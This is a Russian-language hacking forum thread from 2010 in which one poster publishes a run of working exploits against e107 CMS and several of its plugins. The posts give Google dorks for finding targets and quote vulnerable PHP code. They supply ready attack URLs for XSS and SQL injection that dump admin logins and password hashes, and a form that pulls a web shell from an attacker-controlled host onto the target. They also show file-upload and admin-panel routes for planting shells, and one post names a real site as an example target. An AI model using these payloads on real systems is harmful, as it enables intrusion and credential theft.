Старый 06.07.2010, 14:58   #21
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

дорк:intext:This site is powered by e107

e107 Version 0.7.20

Passive XSS

Vuln file /e107_files/thumb.php
PHP код:
 require_once("../class2.php");
require_once(
e_HANDLER."resize_handler.php");

if (
e_QUERY)
{
    
$tmp explode('+',rawurldecode(e_QUERY));
    if(
strpos($tmp[0], '/') === || strpos($tmp[0], ":") >= 1)
    {
        
$source $tmp[0];    // Full path to image specified
    
}
    else
    {
        
$source "../".str_replace('../','',$tmp[0]);
    }
    if (!
$source)
    {
        echo 
"No image name.<br />";
        exit;
    } 
    
$newsize intval($tmp[1]);
    
    if ((
$newsize 5) || ($newsize 4000))    // Pretty generous limits
    
{
        echo 
"Bad image size: {$newsize}<br />";
        exit;
    } 
    
$opts varset($tmp[2],'upsize');
    if(!
resize_image($source'stdout'$newsize$opts))
    {
        echo 
"Couldn't find: {$source}<br />";
    } 

http://[host]/[path]e107_files/thumb.php?1e107_files/thumb.php?<script>alert(123)</script>%2b5
Цитата:
Couldn't find: ../<script>alert(123)</script><br />
ps
Проверил на самой последней 0.7.21
Ковыряем двиг дальше у кого есть желание!
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 20:11   #22
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

AACGC Hall of Shame v1.6 by ~M@CH!N3~
07:27 02-Apr-10
скачать
Blind SQL inj
гугл- inurl:e107_plugins/aacgc_hos
[path]/e107_plugins/aacgc_hos/HOS_Details.php
PHP код:
...require_once("../../class2.php");
require_once(
HEADERF);
if (
e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}


//------------------------------------------------------------------------------------------------------------

$text .= "<center><table style='width:90%' class='indent' cellspacing='' cellpadding=''>";


$sql->db_Select("aacgc_hos""*""WHERE hos_id = $sub_action","");
$row $sql->db_Fetch();... 
плюс - никаких условий.
минус - надо знать hos_id.

Результат:
Пусть hos_id=1 и 5 ветка
http://[host]/[path]/e107_plugins/aacgc_hos/HOS_details.php?.1 and substring(version(),1,1)=5 - есть контент!
http://[host]/[path]/e107_plugins/aacgc_hos/HOS_details.php?.1 and substring(version(),1,1)=4 - нет контента!

ps с "+" контент не выводился (если в гет пихать)
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 20:12   #23
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

FileDownload Advanced v2.0 by The Hunter
скачать
гугл- inurl:e107_plugins/FileDownload

http://[host]/[path]/e107_plugins/FileDownload/filedownload/upload.php
PHP код:
require_once("config.php");
require_once(
"functions.php");

if (
$_GET["dir"])
    
$dir $_GET["dir"];
else
    
$dir $_POST["dir"];

if (
$_POST["numfiles"])
    
$numfiles $_POST["numfiles"];
else
    
$numfiles 4;

if ((isset(
$_POST["hide"])) and (isset($dir)))
{
    for (
$x 1$_POST["file".$x]; $x++)
    {
        
$file $_POST["file".$x];
        
$copy copy($file,$dir."/".getFileName($file));
        
$upload_ok .= "<tr><td style='width:100%' colspan=8 class='header2'>Uploaded:" getFileName($file) . " successfully.</td></tr>";
    }

./config.php
PHP код:
//$expPrefPass='';
$expBaseDir='../';
$expSortOrder=0;
$expDisplaySearch...
Как видно первая строка закоментирована.
... 
./functions
PHP код:
require_once("config.php");

if (isset(
$_COOKIE["phpFileDownload_login"]))
    if (
$_COOKIE["phpFileDownload_login"] != $expPrefPass)
        
header ("location: login.php");...
И посему нет никакой переадресации если куки не устанавливать. ):
...function 
getFileName ($file)
{
    
$strlen strlen($file); 
    
$retfile "";
    while (
$strlen 0)
    {
        
$_g substr(substr($file$strlenstrlen($file)), 01);
        if ((
$_g == "\\") or ($_g == "/"))
            break;

        
$retfile substr($file$strlenstrlen($file)); 
        
$strlen $strlen-1
    } 
    return 
$retfile;
}... 
Результат:
Цитата:
Функция copy
Замечание: Начиная с PHP версии 4.3.0, оба параметра, source и dest, могут быть URL'ами, если были включены "упаковщики fopen"
Заливаем на хостинг шелл или с своего розшареного.

Посылаем запрос:
<form action="http://[host]/[path]/e107_plugins/FileDownload/filedownload/upload.php" method=post>
<input type=hidden name=hide value=0><br>
<input type=text name="file1" value='http://[host2]/[path]/shell.php'><br>
<input type=text name=dir value=log><br>
<input type=submit>
</form>

Наш шелл:
http://[host]/[path]/FileDownload/filedownload/log/shell.php
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 20:13   #24
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

TiltViewer v1.2 by The_Death_Raw
Если уставновлен,то повезло. скачать
Заливаем шельца!

гугл- inurl:e107_plugins/tiltviewer

http://[host]/[path]/e107_plugins/tiltviewer/gestion_fichiers.php
PHP код:
...// fonction upload
foreach ($_FILES["filez"]["error"] as $key => $error) {
    if (
$error == UPLOAD_ERR_OK) {
        
$tmp_name $_FILES["filez"]["tmp_name"][$key];
        
$name $_FILES["filez"]["name"][$key];
        
move_uploaded_file($tmp_name"./uploads/$name");
        
       
Header("Location: ".$_SERVER['PHP_SELF'].""); 
 
    }... 
Выбираем наш шелл и Send the files

http://[host]/[path]/e107_plugins/tiltviewer/uploads/name_our_shell.php

ps заходил под админом и тогда лил, хоть и нужны права но мб пригодиться
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 20:14   #25
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

AACGC BFBC2 Stats v1.3 by ~M@CH!N3~
скачать
2-d order inj

гугл- inurl:e107_plugins/aacgc_bfbcstats

[path]/e107_plugins/aacgc_bfbcstats/Member_Details.php

PHP код:
...require_once("../../class2.php");
require_once(
HEADERF);

if (
e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}

if (
$pref['bfbc_enable_gold'] == "1"){$gold_obj = new gold();}

//---------------------------------------------------------------

$title .= "Battlefield Bad Company 2 Member Details"

//---------------------------------------------------------------

$sql ->db_Select("user_extended""*""WHERE user_extended_id=$sub_action","");
$row $sql->db_Fetch();
$sql2 ->db_Select("user""*""WHERE user_id='".$row['user_extended_id']."'","");
$row2 $sql2->db_Fetch();
if (
$pref['bfbc_enable_gold'] == "1"){
$username "".$gold_obj->show_orb($row2['user_id'])."";}
else
{
$username "".$row2['user_name']."";}
if (
$pref['bfbc_enable_avatar'] == "1"){
if (
$row2['user_image'] == "")
{
$avatar "";}
else
{
$useravatar $row2[user_image];
require_once(
e_HANDLER."avatar_handler.php");
$useravatar avatar($useravatar);
$avatar "<img src='".$useravatar."' width=".$pref['bfbc_avatar_size']."px></img>";}}
$bfbcname $row['user_bfbc2'];

//------------------------------------------------------

$text .= "<table style='width:100%' class=''>";

$text .= "
<tr>
<td bgcolor='#000000'><center><img src='"
.e_PLUGIN."aacgc_bfbcstats/images/bfbc2banner.jpg'></img></center></td>
</tr>"
;... 
Результат:
хексим:
Код:
' union select 1,concat_ws(user_loginname,':',user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from e107_user limit 0,1--
Код:
http://host//path/e107_plugins/aacgc_bfbcstats/Member_Details.php?.1%20and%200%20union%20select%200x2720756e696f6e2073656c65637420312c636f6e6361745f777328757365725f6c6f67696e6e616d652c273a272c757365725f70617373776f7264292c332c342c352c362c372c382c392c31302c31312c31322c31332c31342c31352c31362c31372c31382c31392c32302c32312c32322c32332c32342c32352c32362c32372c32382c32392c33302c33312066726f6d20653130375f75736572206c696d697420302c312d2d20,2
Цитата:
Username: :admin21232f297a57a5a743894a0e4a801fc3 ()
Пути:
http://[host]/[path]/e107_plugins/aacgc_bfbcstats/kits.php
http://[host]/[path]/e107_plugins/aacgc_bfbcstats/general.php
http://[host]/[path]/e107_plugins/aacgc_bfbcstats/teams.php
http://[host]/[path]/e107_plugins/aacgc_bfbcstats/BFBC2_menu.php

ps
- "+" заменяем на " ";
- незабываем за шелл через 2-ой запрос.
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 20:15   #26
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

Advanced Ranking and Medal System v1.5 by MikeNL
21:44 31-Jan-10
скачать

SQL inj


гугл- inurl:e107_plugins/advmedsys

[path]/e107_plugins/advmedsys/advmedsys_view.php
PHP код:
...require_once("../../class2.php");
require_once(
HEADERF);
//-----------------------------------------------------------------------------------------------------------+
//-----------------------------------------------------------------------------------------------------------+
if (e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}
$lan_file e_PLUGIN."advmedsys/languages/".e_LANGUAGE.".php";
require_once(
file_exists($lan_file) ? $lan_file :  e_PLUGIN."advmedsys/languages/English.php");
//-----------------------------------------------------------------------------------------------------------+
if ($action == "main" || $action == "") {... 
PHP код:
...if ($action == "det")
{
        
$width "width:100%";
           
$text .= "
        <div style='text-align:center'>
    <br><a href='advmedsys_view.php'><center>[ "
.AMS_VIEW_S9." ]</center></a><br>
        <table style='"
.$width."' class='fborder' cellspacing='0' cellpadding='0'>
        <tr>
        <td style='width:80px' class='forumheader3'><center>"
.AMS_VIEW_S1."</td>
        <td style='width:100%' class='forumheader3'>"
.AMS_VIEW_S2."</td>
        </tr>"
;
        
$sql->db_Select("advmedsys_medals""*""WHERE medal_id = $sub_action","");
        
$row $sql->db_Fetch();
        
$text .= "
        <tr>
        <td style='width:80px' class='forumheader3'><img src='medalimg/"
.$row['medal_pic']."' alt = '".AMS_VIEW_S1."'></img></td>
        <td style='width:100%; vertical-align:middle' class='forumheader3'>"
.$row['medal_name']."</td>
        </tr>
        </table>
        <br></br>... 
Далее по коду 2-d order inj.

Результат:

http://[host]/[path]/e107_plugins/advmedsys/advmedsys_view.php?det.1 and 0 union select 1,2,3,concat_ws(0x3a,user_loginname,user_password) from e107_user

http://[host]/[path]/e107_plugins/advmedsys/advmedsys_view.php?det.1 and 0 union select 1,concat_ws(0x3a,user_loginname,user_password),3,4 from e107_user limit 0,1

пример:
http://www.truescap.com/e107_plugins...ew.php?det.1/*! and 0 union select 1,2,3,concat_ws(0x3a,user_loginname,user_password) from e107_user*/
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 20:17   #27
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию


Как лить шелл через админку.

Способ 1.
Если в e107_admin/ есть filetypes.php, то можно устанавливать плагины!

По умолчанию этот файл называеться filetypes_.php, тоесть лить неззя.

Тогда такой massage:
An error has occurred, unable to un-archive the file PCLZIP extract error: 'PCLZIP_ERR_MISSING_FILE (-4)'

Но если filetypes.php, то берем madnet шелл (или wso etc чтоб никого не обидеть! ^_^), выкачиваем плагин (любой!), распаковываем, пыхаем туда наш шелл, архивируем, ну и устанавливаем плагин.

Пробывал на Spam Cleaner v1.0 by martinj - размер 2.7 кб. [скачан отсюдо]

и если ниче не блочит типо mod_security
http://[host]/[path]/e107_plugins/spamcleaner/our_shell.php

Способ 2.
Такой же, только через установку новой темы в админке Theme Manager -> Upload Theme.
http://[host]/[path]/e107_themes/mew_team/our_shell.php

ps
1. Проверял на последней сборке!
2. Делимся способами заливки! ):

up

Способ 3.
Через бажный плагин если таковой имееться.
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 20:18   #28
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

ех,вкусная бреш!
плагин за 2009 год, скачан отсюдо

гугл- inurl:e107_plugins/radio_plan/

http://[host]/[path]/e107_plugins/radio_plan/admin/upload.php
PHP код:
...include "../configuration.php";
    include 
"../includes/functions.inc.php";

    if(
$_FILES){
        if(
move_uploaded_file($_FILES['pic']['tmp_name'], '../images/' get('target') . '/' $_FILES['pic']['name'])){
            echo 
"Upload erfolgreich";

            
$image_path '../images/' get('target') . '/';

            
// Bilder  in der Grosse anpassen
            //$act_image = $_FILES['pic']['name'];
//            $image_parts = explode('.', $act_image, -1);
//            $image_name = $image_parts[0];
//            $image_parts = explode('.', $act_image);
//            $image_ext = array_pop($image_parts);
//
//            $full_image = $image_name . '.full.' . $image_ext;
//            $thumb_image = $image_name . '.thumb.' . $image_ext;
//
//            image_resize($image_path . $act_image, $image_full_width, $image_full_height, $image_path . $full_image, $image_ext);
//            image_resize($image_path . $act_image, $image_thumb_width, $image_thumb_height, $image_path . $thumb_image, $image_ext);
//
        //    unlink($image_path . $act_image);
        
}
        else
            echo 
"Upload fehlgeschlagen";... 
[path]/e107_plugins/radio_plan/includes/functions.inc.php
PHP код:
...function get($var$flag ''){
    
$let_get TRUE;

    if(
strpos("/POST"$var) === FALSE){
        
$let_get FALSE;
        
$var ereg_replace("/POST""",  $var);
    }
    if(isset(
$_POST[$var]))
        return 
$_POST[$var];
    else if(isset(
$_GET[$var]) && $let_get == FALSE)
        return 
$_GET[$var];
    else if(isset(
$_FILES[$var][$flag]) && $let_get == FALSE)
        return 
$_FILES[$var][$flag];
    else
        return 
FALSE;
}... 
Когда лил шелл на локале - была ошибка, но понял что у меня PHP Version 5.3.1
И это связано с этим:
Цитата:
Note: As of PHP 5.3.0, the regex extension is deprecated in favor of the PCRE extension. Calling this function will issue an E_DEPRECATED notice. See the list of differences for help on converting to PCRE.
заменил на:
PHP код:
$var preg_replace("@/POST@""",  $var); 
Уря ):

http://[host]/[path]/e107_plugins/radio_plan/images/our_sell.php

ps
на целевом ниче не надо менять.
забыл, пост слать не надо, там сразу форма с загрузкой файла выводиться когда обращаемся к скрипту upload.php ):
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 20:19   #29
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

Alternate Profiles
выкачал отсюдо
гугл- inurl:e107_plugins/alternate_profiles

./e107_plugins/alternate_profiles/db_upgrade.php
PHP код:
...
if(isset(
$_GET['con'])) {

$start $_GET['start'];
$end $_GET['end'];

$query =  mysql_query("SELECT * FROM ".MPREFIX."alternate_profiles LIMIT $start,$end");
$rows mysql_num_rows($query);
if (isset(
$_GET['count'])) {
$count $_GET['count'];
$first $_GET['start'] - 2;
echo 
"Users #".$first." to #".$count." have been updated.<br/>";
} else {... 
PHP код:
...$split explode("[||]",$row['user_custompage']);
    if (
$split[0] == "0019283") {
    
$array = Array();
    
$array['Mood'] = $split[1];
    
$array['Status'] = $split[2];
    
$array['Orientation'] = $split[3];
    
$array['Hometown'] = $split[4];
    
$array['Ethnicity'] = $split[5];
    
$array['Occupation'] = $split[6];
    
$array['Music'] = $split[7];
    
$array['Films/Television'] = $split[8];
    
$array['Favourite_Books'] = $split[9];
    
$array['aboutme'] = $split[10];
    
$db serialize($array);
    
mysql_query("UPDATE ".MPREFIX."alternate_profiles SET user_custompage='".$db."', user_simple='1' WHERE user_id=".$row['user_id']." ");
    unset(
$array);
    
$count++;
    echo 
"Updated user #".$row['user_id']."<br/>";
    } else {
    
mysql_query("UPDATE ".MPREFIX."alternate_profiles SET user_simple='0' WHERE user_id=".$row['user_id']." ");
    }... 
Результат:
passive XSS
http://[host]/[path]/e107_plugins/alternate_profiles/db_upgrade.php?con&start=0&end=1&count=<script>ale rt(123)</script>


blind SQL inj
чтоб крутить в результат первого запроса надо впихнуть:0019283[||], ну понятно лучше захексить, чтоб обойти кавычки ):

Пусть 5 вертка

http://[host]/[path]/e107_plugins/alternate_profiles/db_upgrade.php?con&start=0&end=1 union select 1,0x303031393238335b7c7c5d27,3,4,5,6,7,8,9,10,11 from (select 1 union select 2 union select 3)x where substring(version(),1,1)=5
A total of 1 profiles have been upgraded - true

http://[host]/[path]/e107_plugins/alternate_profiles/db_upgrade.php?con&start=0&end=1 union select 1,0x303031393238335b7c7c5d27,3,4,5,6,7,8,9,10,11 from (select 1 union select 2 union select 3)x where substring(version(),1,1)=4
A total of 0 profiles have been upgraded - false

плюс - никаких условий
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 20:19   #30
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

гугл- inurl:e107_plugins/rank_system/recommend.php

target:
http://[host]/[path]/e107_plugins/rank_system/recommend.php

passive XSS

/e107_plugins/rank_system/recommend.php
PHP код:
...$recomm = new recommend();

if (isset(
$_POST['nextstep']) )
{
    
$recomm_action $_POST['recomm_action'];
} else {
    
$recomm_action "";
}... 
PHP код:
....else if ($recomm_action == 'submit') {
    
$type intval($_POST['recomm_type']);
    
$target intval($_POST['recomm_target']);
    
$t_name $_POST['t_name'];
    
$r_for intval($_POST['recomm_for']);
    
$r_remarks $tp->toDB($_POST['recomm_remarks']);

    if (
$recomm->submitRecomm($target$type$r_for$r_remarks)) {
        
$msg RANKS_RM_11;
    } else {
        
$msg RANKS_RM_12;
    }

    
$rank_text .= '
     <table class="rsborder" style="' 
USER_WIDTH '">
         <tr>
             <td class="rscaption" style="text-align:left">' 
RANKS_RM_01 ' [' $t_name .']</td>... 
Результат (установить постом!):
nextstep = любое зн.
recomm_action=submit
t_name= xss

ps
сработает тока у авторизированого!
Strilo4ka вне форума   Ответить с цитированием
Ответ

Метки
e107 cms, e107 cms vulnerabilities, уязвимости e107 cms

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot